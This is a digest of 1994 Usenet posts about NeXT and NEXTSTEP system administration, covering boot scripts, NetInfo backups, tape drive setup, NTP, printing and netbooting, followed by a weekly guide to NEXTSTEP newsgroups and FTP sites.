References: <1994Mar25.214708.20110@altsys.com>
Date: Sun, 27 Mar 1994 17:34:54 GMT
In article <1994Mar25.214708.20110@altsys.com> lorinr@altsys.com (Lorin
Rivers III) writes:
> I'm having trouble with rc.local not launching issd6 on boot. Thsi is
> the entry from my rc.local. Whassup?
>
> #start the issd demon for Virtuoso MUL
> if [-f /ISS_Licensing/altsys/issd6]; then
> /ISS_Licensing/altsys/issd6
> (echo -n 'issd6') > /dev/console
> fi
Try
if [ -f /ISS_Licensing/altsys/issd6 ]; then
instead.
Note the space after [ and before ].
--
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kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
From: ayardley@qns1.qns.com (A.C. Yardley)
Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin
Subject: controlled dumps & undumps
Date: 27 Mar 1994 10:19:00 -0600
Organization: Questar Network Services
Message-ID: <2n4blk$d3i@qns1.qns.com>
OK. I give up (well, not really, but I would appreciate some input from
the group). What I want is a script which will force a core dump of an
executable. Then, I want to save the executable in a such a state so I can
restart that executable in the same (or as close as possible) state.
I should mention, when I try to install the default behavior of SIGIOT or
SIGQUIT (SIG_DFL), which the docs say produces a core dump, I get an
'IOT Trap' message. Evidently, traps and prevents core dumps.
Any ideas? Thanks.
A.C.
Newsgroups: comp.sys.next.sysadmin
From: wils4198@hgc.edu (George H. Wilson)
Subject: NeXT/Postscript/MS-Windows Question
Message-ID: <1994Mar28.020942.15835@merlin.hgc.edu>
Summary: Printing Problem, NO page info
Keywords: Postscript,MS-Windows
Sender: usenet@merlin.hgc.edu (Action News Central)
Organization: Sometimes
References: <2n48d1$sip@senator-bedfellow.MIT.EDU>
Date: Mon, 28 Mar 1994 02:09:42 GMT
I'm not sure what Newsgroup would be most able to answer this question...
Please feel free to tell me where to post!
Situation:
I have a NeXT Cube running v3.0 with a NeXT Laser printer attached to
a Novell 3.11 Network. Also on this network are PC's running MS-Windows
v3.1. I have the PC's setup to use MS-Windows generic Windows Postscript
Driver Version 3.57 (By Microsoft and Aldus). I then send all printing to a
file on a network drive and have the NeXT pickit up and print it. The
documents print out fine.
Problem:
As far as the NeXT is concerned, the documents have no paging information
in them. Preview gives the error message "The pages of the document are not
properly declared...," so I cannot print single pages from the file - which I
often want to do when there is a paper jam or whatever. I'm not sure why they
print out OK, it may be just because I run off the page - if I were to try
different paper sizes I bet it would not work correctly. AND I WILL want to
use different paper sizes soon.
Does anyone have any information on what I can do to remedy this problem?
Thanks in advance.
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From: jmack@skye.phys.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Running an APP without read permission
Date: 28 Mar 1994 05:36:34 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2n5qd2$h2h@quartz.ucs.ualberta.ca>
References: <1994Mar26.023408.22400@Princeton.EDU>
Keywords: security, software protection
In article <1994Mar26.023408.22400@Princeton.EDU> serge@dadofsam.Princeton.EDU
writes:
>
>
> I want to make a NeXT app publicly available without turning on the read
> permission bit(s). The workspace manager doesn't like that (presumably
because
> it wants to read the App segment file to extract ICON information??); it
> reports that the app is "damaged" when I set it's permissions to 111. Is
there
> any way to get this to work, short of building a one-line C program wrapper
> that would invoke the real app?
> Serge J. Goldstein
> Next SysAdmin
> Princeton University CIT
This works for me:
as root, take for example Grab.app, and modify it:
12 skye# chmod go-r Grab.app
13 skye# ls -ld Grab.app
d-wx--x--x 3 root 1024 Feb 8 1993 Grab.app/
now as an ordinary user:
14 skye# su jmack
39 [10:27pm skye]:/NextApps>ls Grab.app
Grab.app unreadable
40 [10:27pm skye]:/NextApps>Grab.app/Grab &
41 [10:27pm skye]:/NextApps>ps -aux |grep Grab
jmack 4537 3.7 1.0 1.52M 208K p3 S 0:00 grep Grab
jmack 4535 0.0 7.9 3.74M 1.58M ? SW 0:01 /NextApps/Grab.app/Grab
-also launchable from the dock.
The app functions quite normally, but the wrapper's contents are not readable
(or copy-able - which is the important point I think you are interested in).
I do this regularly on software I don't want users to copy into their home
~/Apps directories - they will do it, you know :-)
Cheers,
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Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
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From: dfh@guitar.ho.att.com (Dan Hurley)
Newsgroups: comp.sys.next.sysadmin
Subject: 1 gig external SCSI drive for Nextstation
Date: 28 Mar 1994 08:17:57 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403281413.AA17428@guitar.ho.att.com>
Hi,
I am in the market for a 1+ gig external SCSI drive for my Nextstation. Any
recommendations from a satisfied owner? I would like to be able to use it with
an intel box in the future so whatever I choose must work with black and white.
Your help is appreciated.
Thanks,
Dan Hurley
dfh@guitar.ho.att.com
Newsgroups: misc.jobs.offered,comp.sys.next.sysadmin,comp.sys.next.programmer
From: cordero@bronze.ucs.indiana.edu ( Manuel Cordero )
Subject: SysAdmin Position
Message-ID: <CnDqKI.Kzz@usenet.ucs.indiana.edu>
Summary: immediate opening
Keywords: NEXTSTEP, Windows, OS/2
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University, Bloomington IN
Distribution: usa
Date: Mon, 28 Mar 1994 14:50:42 GMT
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Strong candidates must possess a degree in computer science and/or documented
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From: Tobias.Hennerich@rus.uni-stuttgart.de (T. Hennerich)
Newsgroups: comp.sys.next.sysadmin
Subject: ntp problems
Date: 28 Mar 1994 15:41:51 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <2n6trv$1419@info2.rus.uni-stuttgart.de>
Keywords: ntp,ntpd,stratum 0
Hi all,
we have a cluster of 8 NeXTs (black). I upgraded to 3.2 on 12/31/93. At
the same time I installed the Network Time Service and all seems to work
fine except that one machine thought that its ntpd was stratum 0 and so
didn't use the network-time. Up to now I had no time to fix that.
Now we had a power-fault last week and all NeXTs rebooted. Now all the
machines think that they are stratum 0!
- all machines have marked "Use Network Time Service" in
HostManager/Local.
- The button "Time Service Enabled" in HostManager/Network/Network-Time-
Configuration is checked for the root-domain
- Two machines are configured as clones, one machine (a DEC 5000) is
included in the Netinfo-Database and configured as master.
- All worked till last week except the one machine.
What could be wrong?
Greetings Tobi
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MM
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\_ _/
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From: audiotst!lre@uunet.UU.NET (Louis R. Eagle)
Newsgroups: comp.sys.next.sysadmin
Subject: Disk repair tools?
Date: 28 Mar 1994 12:36:33 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403281834.AA26129@audiotst.ap.com>
For the past few days retries for this block and one other have become more frequent.
This morning was the first time the retry count got above 2 and the "Block in error"
message was issued. A search through the NeXT docs provided only the suggestion of
reformatting the drive. Sun, for example, provides a vaguely interactive utility for
repairing bad blocks (which I believe will work on SCSI drives). Does NeXT have
something similar?
Yes I have backups.
Any less drastic suggestions:
...
Target 1: MEDIA ERROR; block 32d80H retry 9
sd0 (1,0): sense key:0x3 additional sense code:0x11
SCSI Block in error = 208256; Partition a F.S. sector 103968
3.1 on Black hardware
DEC DSP3105S Drive
Thanks in advance for any help.
Louis_Eagle@ap.com
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From: michael@rs2.iaee.tuwien.ac.at (Suessner Michael)
Newsgroups: comp.sys.next.sysadmin
Subject: netinfo backup
Date: 28 Mar 1994 18:24:36 GMT
Organization: Technical University of Vienna
Sender: michael@rs2.iaee.tuwien.ac.at ()
Distribution: world
Message-ID: <2n77d4$9ee@email.tuwien.ac.at>
Is it possible to do a netinfo database without copying the netinfo database file/directory?
I would like to do it, to recover my system configuration after a crash(terminate all)!
Thanks
Michael
Newsgroups: comp.sys.next.sysadmin
From: v$imikeb@vnet.ibm.com (Mike Brown)
Subject: Re: SNS crashes when I try to set-up as NetInfo server
Sender: news@austin.ibm.com (News id)
Message-ID: <CnDzKD.EMo@austin.ibm.com>
Date: Mon, 28 Mar 1994 18:04:59 GMT
References: <espritCnAoGJ.I9H@netcom.com>
Organization: OS/2 Application Developer Support
In message <espritCnAoGJ.I9H@netcom.com> - esprit@netcom.com (Alan F. Perry) writes:
>
>I have been running my network without NetInfo for a couple of weeks. I
>finally decided to take the plunge and set-up NetInfo. However, when
>I run SNS to set this up, SNS crashes.
>
>What? You would like more details? I start SNS, select server in box 1,
>jump down to box 3 and try various options. The end results is the same.
>SNS crashes and leave no messages to explain what happened. I have a
>console up and no new messages appear there when SNS crashes. If I try
>it where new machines need a password to get onto the network, it crashes
>immediate after I enter a password.
>
Welcome to the club!
I had this EXACT same problem and even did a BugNext on it. After
waiting for a week with no response, I found a human in tech support
that was willing to take a look at it without asking for a Visa card!
Turns out it's a KNOWN PROBLEM, for quite some time. It's silently
crashing because it doesn't like something about your NetInfo configuration.
The solution is to WIPE OUT your complete NetInfo setup, run SNS and
reconfigure your machine. The on-line help has a Troubleshooting section
a few items after the SNS document (click on list all titles). Follow
the NetInfo destruction procedure and you should be back up soon. Try to
write down your current NetInfo stuff because you'll have to add anything
unique to your site afterward.
One important thing: A different sendmail file gets used when you're
in network mode than the one you're using in standalone mode! Be sure
to read the docs on email setup in a networked NetInfo enviroment and
make sure NetInfo points to the correct sendmail file.
I sent a FLAMING note on this well-known (to them) slient crash bug
that they haven't fixed in 2 years or so and got nothing in reply.
----------------------------------------------------------------
Mike Brown
From: theharv@csld.ucr.edu (Brian Harvey)
Newsgroups: comp.sys.next.sysadmin
Subject: Message on console...
Date: 28 Mar 1994 19:29:53 GMT
Organization: University of California, Riverside
Message-ID: <2n7b7h$5ca@galaxy.ucr.edu>
I just saw this message on my console:
Expanding zone messages
Expanding zone messages
Right when it was displayed, the load average on my machine soared.
Anyone know what this message means?
---------------
Brian Harvey * theharv@csld.ucr.edu
University of California, Riverside * brian@cs.ucr.edu
C.S.L.D. System Administrator (NeXT Mail preferred everywhere!)
Newsgroups: comp.sys.next.sysadmin
From: pmy@virginia.edu (Pete Yadlowsky)
Subject: PrintManager trouble
Message-ID: <CnE6G3.GMy@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Mon, 28 Mar 1994 20:33:38 GMT
I'm trying to add (create) an AppleTalk laser printer. The AppleTalk
Zone browser comes up, I select the desired printer, say 'OK' and a
panel comes up telling me "Netinfo trouble adding <printer> to
localhost", or something like that. I've checked the netinfo
database, file permissions, etc. and found nothing out of the
ordinary. The frustrating thing about this is that once upon a time I
successfully added this same AppleTalk printer to this same NeXT
machine, then later removed it for reasons I don't recall. Why can't
I add it now? Thanks in advance for any clues.
--
Peter M. Yadlowsky | Wake! The sky is light!
Information Technology & Comm. | Let us to the Net again...
University of Virginia | Companion keyboard.
pmy@Virginia.EDU | - after Basho
From: mgrmja@NeXTwork.Rose-Hulman.Edu (Michael J Allard)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A personal Sys Admin winge.
Date: 28 Mar 1994 20:58:22 GMT
Organization: Rose-Hulman Institute of Technology
Distribution: world
Message-ID: <2n7gde$cgj@master.cs.rose-hulman.edu>
References: <2mspb6$pc5@bilbo.suite.com>
In article <2mspb6$pc5@bilbo.suite.com> shepherd@suite.com (Scot Shepherd)
writes:
: From what I was told by a Next customer support person this is NOT a
: good way to backup and restore your Netinfo. Nidump only dumps the
: data that would go into a normal unix config file like HOSTS.
: Therefore on the niload later you are only supplying this base
: information. Netinfo tends to have other data that it keeps about
: that isn't applicable on the dump and wouldn't get restored on the
: niload to a fresh Netinfo database.
Under NS 3.0 and above, there is a "-r" option to nidump and niload
that does a "raw" NetInfo dump/load. This file is a created in a
surprisingly readable ASCII format. For example, instead of doing
nidump hosts / > /tmp/hosts.NI
you could do
nidump -r /machines / > /tmp/machines.NI
Or, you could do
nidump -r / / > /tmp/everything.NI
to dump the *whole* NetInfo database for the root domain. Then you can
just do the following to load it in:
niload -r / / < /tmp/everything.NI
Perhaps the NeXT support person you spoke with didn't know or recognize
this new feature. I find it *very* useful.
Hope this helps.
- Mike
--
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From: bakker@wahoo
Newsgroups: comp.sys.next.sysadmin
Subject: problem upgrading to Developer 3.2 from 3.1
Date: 28 Mar 94 17:48:13
Organization: U.S. Department of Commerce, NOAA/AOML
Message-ID: <bakker.94Mar28174813@wahoo>
Mime-Version: 1.0
Content-Type: text/plain
Hello everyone, I am rather desperate.
I was installing the NEXTSTEP developer 3.2, when the tools package gave me an error after I was about a quarter the way through it.
That was a couple days ago. I thought I'd try another developer CD just to see what would happen when I ran into some very awkard results: The installation window disappeared, and seemed to have died ( I didn't see it in the processes inspector). That's not all, though. The workspace manager nearly froze up. Any actions in the Workspace would take at least 5-10 minutes, and now it seems to have frozen nearly completely.
There are some strange messages in the /usr/adm/messages file included below..
Please help.
Below I have included first the message from the tools package installation window, and then below that is a small set of messages that I have been getting in the /usr/adm/messages file....
Thanks,
Cary.
========================================================
Directly below is the installation error message (from Tools package...
========================================================
Installing /usr/bin/emacs ... cat: write error: Bad address
OK.
**** directory checksum error (3482 != 255745)
**** There were errors while installing DeveloperTools.pkg.
.. errors.
==== and below here is the tail of the messages file during the attempted installation =======
Mar 23 13:05:58 fsu_1 Workspace[279]: logged in
Mar 23 13:06:11 fsu_1 mach: sd0: UNIT ATTENTION; Retrying.
Mar 23 13:06:11 fsu_1 mach: target:0 lun:0 op:Read block:549024 blockCount:14
Mar 23 13:06:19 fsu_1 mach: sd0: Bus Reset Detected; Retrying.
Mar 23 13:06:19 fsu_1 mach: target:0 lun:0 op:Write block:546528 blockCount:16
Mar 23 13:06:19 fsu_1 mach: sd0: Bus Reset Detected; Retrying.
Mar 23 13:06:19 fsu_1 mach: target:0 lun:0 op:Write block:370944 blockCount:16
Mar 23 13:06:19 fsu_1 mach: sd0: Bus Reset Detected; Retrying.
Mar 23 13:06:19 fsu_1 mach: target:0 lun:0 op:Write block:556352 blockCount:16
Mar 23 13:06:19 fsu_1 mach: sd0: Bus Reset Detected; Retrying.
Mar 23 13:06:19 fsu_1 mach: target:0 lun:0 op:Write block:526832 blockCount:16
Mar 23 13:06:19 fsu_1 mach: sd0: Bus Reset Detected; Retrying.
Mar 23 13:06:19 fsu_1 mach: target:0 lun:0 op:Write block:370928 blockCount:16
Mar 23 13:06:19 fsu_1 mach: sd0: Bus Reset Detected; Retrying.
Mar 23 13:06:19 fsu_1 mach: target:0 lun:0 op:Write block:244544 blockCount:16
Mar 23 13:06:21 fsu_1 mach: sd0: No error to report; Retrying.
Mar 23 13:06:21 fsu_1 mach: target:0 lun:0 op:Write block:546528 blockCount:16
Mar 23 13:06:37 fsu_1 mach: sd0: UNIT ATTENTION; Retrying.
Mar 23 13:06:37 fsu_1 mach: target:0 lun:0 op:Read block:244112 blockCount:2
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: How can I create a .signature file for NeXTMail?
In-Reply-To: willi@infoman.com's message of Fri, 25 Mar 1994 16:08:25 GMT
To: willi@infoman.com
Message-ID: <CEDMAN.94Mar25230313@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1994Mar25.160825.4447@infoman.com>
Date: Sat, 26 Mar 1994 04:03:12 GMT
In article <1994Mar25.160825.4447@infoman.com> willi@infoman.com writes:
Is there anyway of adding a signature file using NeXTMail application?
Any help would be much appreciated!
RTFFAQ.
Carl Edman
PS: That means Read The Friendly Frequently Asked Question list
available e.g. from c.s.n.announce.
From: ccooper@halcyon.halcyon.com (Charles W. Cooper II)
Newsgroups: comp.sys.next.sysadmin
Subject: boot problems Cube-NS2.1
Date: 30 Mar 1994 16:11:35 GMT
Organization: Northwest Nexus Inc.
Message-ID: <2nc8bn$b9o@nwfocus.wa.com>
I've recently added an old NexT Cube with OS2.1 to a network on the
Internet. It previously operated in standalone mode.
Now, unless the network cable is connected, the machine won't complete
the boot process and display the window manager. It just hangs there.
When I put the cable back on, it boots. What would cause this behavior?
Thanks!
Charles Cooper
charles@oneworld.wa.com
From: rsilver@panix.com (Russell Silverman)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: So, where's the CC or g++ in NS3.2/Intel?
Followup-To: comp.sys.next.software,comp.sys.next.sysadmin
Date: 31 Mar 1994 02:45:18 -0500
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2ndv2e$nhk@panix2.panix.com>
References: <1994Mar31.054606.19882@beaver.cs.washington.edu>
Daniel Fineman (fineman@cs.washington.edu) wrote:
: I'd just *love* to be able to do my C++ homework from home;
: and now i find that there isn't a CC or g++ anywhere by itself.
: There's a /usr/include/g++ directory; how can I make the executable?
: help!
: dan
: fineman@cs.washington.edu ASCII pleeze
I was kind of distressed that this wasn't more explicit, but it is
all there. Look at CalculatorLab++ in the NeXTDeveloper/AppKit stuff
The switch for cc is -ObjC++. Good luck, RS
From: rsilver@panix.com (Russell Silverman)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Simple question: scsi tape
Date: 31 Mar 1994 03:12:50 -0500
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2ne0m2$nv4@panix2.panix.com>
References: <2n4dhq$8ge@panix2.panix.com>
Russell Silverman (rsilver@panix.com) wrote:
: I have 3.2 NS/FIP running on a gateway. I have a 1/4" SCSI tape
: drive attached to a 1542CF at SCSI ID #0. OK, how do I back up
: my machine ? tar ?vf /dev/rxt? doesn't seem to work.
: Though there is a SCSI tape driver in the Driver directory, I see
: nothing in Configure.app about it.
: I will continue to play around, any suggestions would appreciated.
: --thanks, RS
I got some good suggestions, but it the answer is fairly simple.
The default for tape drives is variable block count. Old style QIC
drives like mine need a fixed block. I am sure what I got is available
thru NeXTAnswers, but I'll summarize.
You need to compile the following code, then run it as root. Everytime
you reboot, you'll have to run it again, sounds like a job for rc.local
man! Here's the code
#include <sys/types.h>
#include <sys/file.h>
#include <bsd/dev/scsireg.h>
int main(int argc,char **argv)
{
int fd, error;
int blocksize;
sscanf(argv[1],"%d",&blocksize);
printf("%d\n", blocksize);
fd = open("/dev/rst0", O_RDWR, 777);
if (ioctl(fd, MTIOCFIXBLK, &blocksize))
{
perror("ioctl failed\n");
return 1;
}
ioctl(fd,MTIOCALILL);
close (fd);
return 0;
}
compile it. Then run it as root like,
% ./a.out 512
It works for me w/512, and no other block size seems to work.
Note: when extracting, you must specify the fixed amount.
For 512K byte blocks, tar looks like tar xvbf 1 /dev/rst0.
Note2: gnutar is included as part of the O/S, but undocumented,
as usual, NS succeeds in being the best and most frustrating
O/S imaginable. It certainly makes me feel stupid much of the
time, and I have been programming and administering Suns for
5+ years. Still I'll stick with this NS until and long after
NeXT is history. --thanks all, RS
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help!!! - Netbooting trouble
Date: 28 Mar 1994 16:22:03 GMT
Organization: University of Houston
Distribution: world
Message-ID: <2n707b$1e2@masala.cc.uh.edu>
References: <2mv1du$a1s@news.tamu.edu>
In article <2mv1du$a1s@news.tamu.edu> daugher@cs.tamu.edu(Walter C.
Daugherity) writes:
#In article <1994Mar22.202755.1354@parsec.mixcom.com>
alberto@parsec.mixcom.com
#(Alberto Ricart) writes:
#|
#| I have set up a Netboot server as per the System Administration Guide.
#| All goes fine on the client machine (I can even get it to boot in single
#| user mode). But right before the system puts the login panel -
#| BOOM - I get a panic.
#|
#| The panic says:
#|
#| primary network interface en0 [192.42.172.5]
#| NFS mounting "root" from orion:/
#| NFS mounting "private" from orion:/clients/andromeda
#| unexpected kernel page fault failure
#|
#| ---------
#|
#| The Sys Adm Guide said to export both / and /clients/andromeda
#| which NFS manager won't allow since /clients/andromeda is already
#| exported by exporting /
#|
#| The machine boots fine in single user mode. All directories are
#| right where they should be.
#| Oh yes, this is all on NeXT hardware.
#|
#|
#| Any ideas as to what the dickens is going on?
#|
#| --
#| Alberto Ricart
#| SmartSoft, Inc.
#| 2220 E. Linnwood Avenue, Milwaukee, WI 53211-3321
#
#/ and /clients have to be two different UNIX disk partitions, e.g.,
#/dev/sd0a and /dev/sd0b.
#
Not true!!! They have to be two separate partitions and if you want to try
to have semi-good security. You can just make a /clients on the root
partition and export / only. Remember, though, that the client needs to
have right access to /clients which means if you only use one partition,
then your clients need write access to /. If you use the suggested set up,
you can export / as ro, and the /clients/<netboot-host> as rw...
#--
#Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu
#Texas A & M University uucp: uunet!cs.tamu.edu!daugher
#College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS
# ---Not an official document of Texas A&M---
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Setting time zone to MET? HELP!
Message-ID: <1994Mar29.135738.9279@imag.fr>
Sender: news@imag.fr
Organization: Institut Imag, Grenoble, France
Date: Tue, 29 Mar 1994 13:57:38 GMT
Hi,
A long time ago, someone posted a patch to Preferences in order to make MET
zone available. Does somebody know where I can find it (I don't even remember
the name)?
In addition, how can I say that the machines are in MET time zone, and where
do I specify the DST start/end days?
Thanks in advance,
Yves.
--
Advocates for the C++ school claim that a well designed Yves
Arrouye
program does not need the extra flexibility (a lie),
Yves.Arrouye@imag.fr
while advocates for the Objective-C school claim that (33) 76 57 48
64
the errors are no problem in practice (another lie). NeXT
Mail
From: ccooper@halcyon.halcyon.com (Charles W. Cooper II)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Simple question: scsi tape
Date: 29 Mar 1994 15:50:15 GMT
Organization: Northwest Nexus Inc.
Message-ID: <2n9inn$dov@nwfocus.wa.com>
References: <2n4dhq$8ge@panix2.panix.com>
I just added a DAT drive to my NS/Intel box and was successful in getting
it to work.
In the configure.app you need to define the scsi tape driver then restart
the machine.
The scsi device should be recognized at boot.
You can then use tools such as dump or mt to manipulate the tape. You'll
probably want to use the "rst0" rather than "rxt0" device as I think the
"x" designates "Exabyte" type products. Check out the man pages for dump,
restore, mt etc.
Good Luck!
Russell Silverman (rsilver@panix.com) wrote:
: I have 3.2 NS/FIP running on a gateway. I have a 1/4" SCSI tape
: drive attached to a 1542CF at SCSI ID #0. OK, how do I back up
: my machine ? tar ?vf /dev/rxt? doesn't seem to work.
: Though there is a SCSI tape driver in the Driver directory, I see
: nothing in Configure.app about it.
: I will continue to play around, any suggestions would appreciated.
: --thanks, RS
From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: How to set up NTP using a non-NeXT master server?
Date: 29 Mar 1994 18:58:03 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Message-ID: <2n9tnr$gb8@cs.ubc.ca>
I followed the sparse documentation in the SysAdmin manuals and set up
hub.ubc.ca to be my master ntp server (with no clones), and set
TIME=-AUTOMATIC- in my /etc/hostconfig file. ntp -F finds the server and
sets the time correctly, but ntpd doesn't seem to do anything, and ntpd -l
does not log anything. My local time is within 20 seconds of hub.ubc.ca's
time.
My netinfo looks like:
celegans[44]% nidump -r /locations/ntp .
name = ntp;
host = ();
server = hub.ubc.ca;
I can find no documentation anywhere that explains what the heck host and
server is or what ntpd uses them for. I'm getting exasperated at NeXT's
approach of providing tools that only handle simple administration tasks
but not documenting how to do more complex cases.
Has anyone gotten NeXT's ntpd to work with a single NeXT in a non-NeXT
environment? Or am I going to have go back to a "real" ntpd that reads
/etc/ntp.conf?
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: nielsen@bears.Stanford.EDU (James Nielsen)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: NeXT and afs
Date: 29 Mar 1994 19:08:49 GMT
Organization: Stanford University
Message-ID: <2n9uc1$9v@nntp2.Stanford.EDU>
I just managed to get afs mounted on my next using the transarc
package, but I have some lingering questions. First of all, I have to run
klog in order to authenticate myself...is there any way to get automatic
authentication (so I don't have to open up a terminal)? My username and
password are the same on both accounts.
Also, the workspace doesn't really recognize that I own my afs
files. I can read files using Edit.app (after I changed the directory
permissions to world readable), and I can save from Edit, but I can't copy
files from my system to my afs account, or create new folders in the afs
account from the Workspace. Am I perhaps missing something in the
complicated world of afs permissions?
Thanks for your help.
-jamey.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 28 Mar 1994 01:43:43 -0500
Organization: Next Announcements
Message-ID: <2n5uav$9op@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
